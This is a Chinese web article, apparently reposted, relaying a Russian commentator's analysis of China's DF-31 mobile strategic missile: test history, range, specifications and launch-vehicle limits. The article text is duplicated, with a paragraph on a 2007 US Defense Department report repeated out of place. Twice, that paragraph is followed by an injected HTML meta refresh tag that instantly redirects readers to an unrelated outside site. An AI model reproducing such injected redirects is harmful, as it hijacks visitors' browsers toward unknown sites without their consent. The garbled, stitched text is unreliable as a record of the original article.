俄媒体眼中的东风-31 东风41

<br /><br />俄罗斯军事评论员列昂尼德·尼古拉耶夫日前撰文对我国的“东风-31(DF-31)”型机动式战略导弹系统的性能进行了分析和介绍。

　　他指出，目前中国装备的机动式战略导弹仅有DF-31(北约称之为CSS-9)一种。这种导弹既可以安装到具有高机动性能的底盘上进行机动部署，也可以采用井基方式部署。该导弹由中国第四航天研究院研制。

　　DF-31导弹系统主要用于替换老式的DF-4(北约编号CSS-3)远程弹道导弹。其第一和第二级推进器所使用的固体火箭发动机在1983年底进行了成功测试，而第三级推进器使用的发动机也在1984年中期进行了测试。该导弹的全面研制工作于1987年全面启动，并在1999年8月2日运载全尺寸全重量的模拟弹头进行了首次发射。导弹由位于中国东部的试验场发射，目标区设在了位于新疆境内的罗布泊。之后的两次发射试验在2000年底进行，不过，西方专家认为，这些试验计划并未取得完全的成功。DF-31只是在2006年9月才完成了首次成功发射。

　　DF-31首次公开亮相是在1999年于北京举行的国庆阅兵上。由于在行进过程中所有的导弹都被密封在发射筒中，因此无法对其进行细致的分析。尽管如此，这种导弹当时不但未开始战备执勤，甚至也未进行过成功的发射试验。

　　专家们认为，DF-31的射程(8000公里)还不足以覆盖美国全境。其只能到达位于美国西海岸的几个州。正因如此，中国的研究人员正在研制DF-31的改进型号--DF-31A。后者的射程提高到了11000公里。在射程达12000公里的DF-41洲际导弹的研制计划于2002年被终止后，DF-31A的研制显得尤为迫切。

　　根据美国国防部2007年公布的一份报告，DF-31目前还未达到作战部署阶段，仅仅是构成了“初级威胁”。该导弹有可能在2007-2008年间实现实际部署。有美国专家认为，由于技术方面的原因，DF-31计划已落后于进度。有消息称，中国的技术人员还专门为这种导弹研制了轻型化的核弹头。据估算，DF-31的圆概率偏差可达到300米。

　　DF-31的技术指标如下：

　　长13米，直径2.25米，发射重量42吨，射程8000公里，采用天文惯性制导。

　　在1999年北京阅兵式上出现的DF-31导弹运载车辆或许并不能直接实施发射。它们可能只是普通的弹药运输设备，即使能够用于发射，那么也必须选择铺设有混凝土的发射场。有可能，这些车辆仅是用来将导弹从隐蔽隧道中运输出来以执行下一次发射任务。

　　目前还不清楚中国是否已经掌握了固体蓄压器的生产技术。固体蓄压器可使机动式发射系统实现“冷发射”，即保障导弹在被弹射到距离发射车20-30米的高度后再点火。不过，到现在为止，我们并未见到DF-31从运输-发射筒中点火发射的画面。

　　美国空军国家侦察中心曾在1997年公布报告称，中国已拥有了MAZ-7916型六轴底盘。该报告指出，配备MAZ汽车的性能要明显超过中国的国产重型汽车。因此，中国人很可能会对MAZ-7916进行“解剖”，以获取相关技术用于研制可发射战略导弹的汽车底盘。由于这种重型车辆无法在一些公路上行驶，因此中国军方还要求研制一种具有较高越野性能的运载工具，以扩大DF-31的部署范围。

　　列昂尼德·尼古拉耶夫指出，盲目地复制前苏联制造机动式洲际导弹和中程导弹的经验未必就适合中国。有专家认为，在中国有许多非常平坦开阔的地区，很难对大型的导弹系统进行隐蔽。

　　从总体上讲，中国缺乏像前苏联那样的大片茂密森林，无法有效隐藏DF-31的机动过程。因此，即使研制出具有高越野性能的运载工具，中国的机动式战略导弹系统也很可能会轻易地被敌人发现。
根据美国国防部2007年公布的一份报告，DF-31目前还未达到作战部署阶段，仅仅是构成了“初级威胁”。该导弹有可能在2007-2008年间实现实际部署。有美国专家认为，由于技术方面的原因，DF-31计划已落后于进度。有消息称，中国的技术人员还专门为这种导弹研制了轻型化的核弹头。据估算，DF-31的圆概率偏差可达到300米。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
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<br /><br />俄罗斯军事评论员列昂尼德·尼古拉耶夫日前撰文对我国的“东风-31(DF-31)”型机动式战略导弹系统的性能进行了分析和介绍。

　　他指出，目前中国装备的机动式战略导弹仅有DF-31(北约称之为CSS-9)一种。这种导弹既可以安装到具有高机动性能的底盘上进行机动部署，也可以采用井基方式部署。该导弹由中国第四航天研究院研制。

　　DF-31导弹系统主要用于替换老式的DF-4(北约编号CSS-3)远程弹道导弹。其第一和第二级推进器所使用的固体火箭发动机在1983年底进行了成功测试，而第三级推进器使用的发动机也在1984年中期进行了测试。该导弹的全面研制工作于1987年全面启动，并在1999年8月2日运载全尺寸全重量的模拟弹头进行了首次发射。导弹由位于中国东部的试验场发射，目标区设在了位于新疆境内的罗布泊。之后的两次发射试验在2000年底进行，不过，西方专家认为，这些试验计划并未取得完全的成功。DF-31只是在2006年9月才完成了首次成功发射。

　　DF-31首次公开亮相是在1999年于北京举行的国庆阅兵上。由于在行进过程中所有的导弹都被密封在发射筒中，因此无法对其进行细致的分析。尽管如此，这种导弹当时不但未开始战备执勤，甚至也未进行过成功的发射试验。

　　专家们认为，DF-31的射程(8000公里)还不足以覆盖美国全境。其只能到达位于美国西海岸的几个州。正因如此，中国的研究人员正在研制DF-31的改进型号--DF-31A。后者的射程提高到了11000公里。在射程达12000公里的DF-41洲际导弹的研制计划于2002年被终止后，DF-31A的研制显得尤为迫切。

　　根据美国国防部2007年公布的一份报告，DF-31目前还未达到作战部署阶段，仅仅是构成了“初级威胁”。该导弹有可能在2007-2008年间实现实际部署。有美国专家认为，由于技术方面的原因，DF-31计划已落后于进度。有消息称，中国的技术人员还专门为这种导弹研制了轻型化的核弹头。据估算，DF-31的圆概率偏差可达到300米。

　　DF-31的技术指标如下：

　　长13米，直径2.25米，发射重量42吨，射程8000公里，采用天文惯性制导。

　　在1999年北京阅兵式上出现的DF-31导弹运载车辆或许并不能直接实施发射。它们可能只是普通的弹药运输设备，即使能够用于发射，那么也必须选择铺设有混凝土的发射场。有可能，这些车辆仅是用来将导弹从隐蔽隧道中运输出来以执行下一次发射任务。

　　目前还不清楚中国是否已经掌握了固体蓄压器的生产技术。固体蓄压器可使机动式发射系统实现“冷发射”，即保障导弹在被弹射到距离发射车20-30米的高度后再点火。不过，到现在为止，我们并未见到DF-31从运输-发射筒中点火发射的画面。

　　美国空军国家侦察中心曾在1997年公布报告称，中国已拥有了MAZ-7916型六轴底盘。该报告指出，配备MAZ汽车的性能要明显超过中国的国产重型汽车。因此，中国人很可能会对MAZ-7916进行“解剖”，以获取相关技术用于研制可发射战略导弹的汽车底盘。由于这种重型车辆无法在一些公路上行驶，因此中国军方还要求研制一种具有较高越野性能的运载工具，以扩大DF-31的部署范围。

　　列昂尼德·尼古拉耶夫指出，盲目地复制前苏联制造机动式洲际导弹和中程导弹的经验未必就适合中国。有专家认为，在中国有许多非常平坦开阔的地区，很难对大型的导弹系统进行隐蔽。

　　从总体上讲，中国缺乏像前苏联那样的大片茂密森林，无法有效隐藏DF-31的机动过程。因此，即使研制出具有高越野性能的运载工具，中国的机动式战略导弹系统也很可能会轻易地被敌人发现。
根据美国国防部2007年公布的一份报告，DF-31目前还未达到作战部署阶段，仅仅是构成了“初级威胁”。该导弹有可能在2007-2008年间实现实际部署。有美国专家认为，由于技术方面的原因，DF-31计划已落后于进度。有消息称，中国的技术人员还专门为这种导弹研制了轻型化的核弹头。据估算，DF-31的圆概率偏差可达到300米。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
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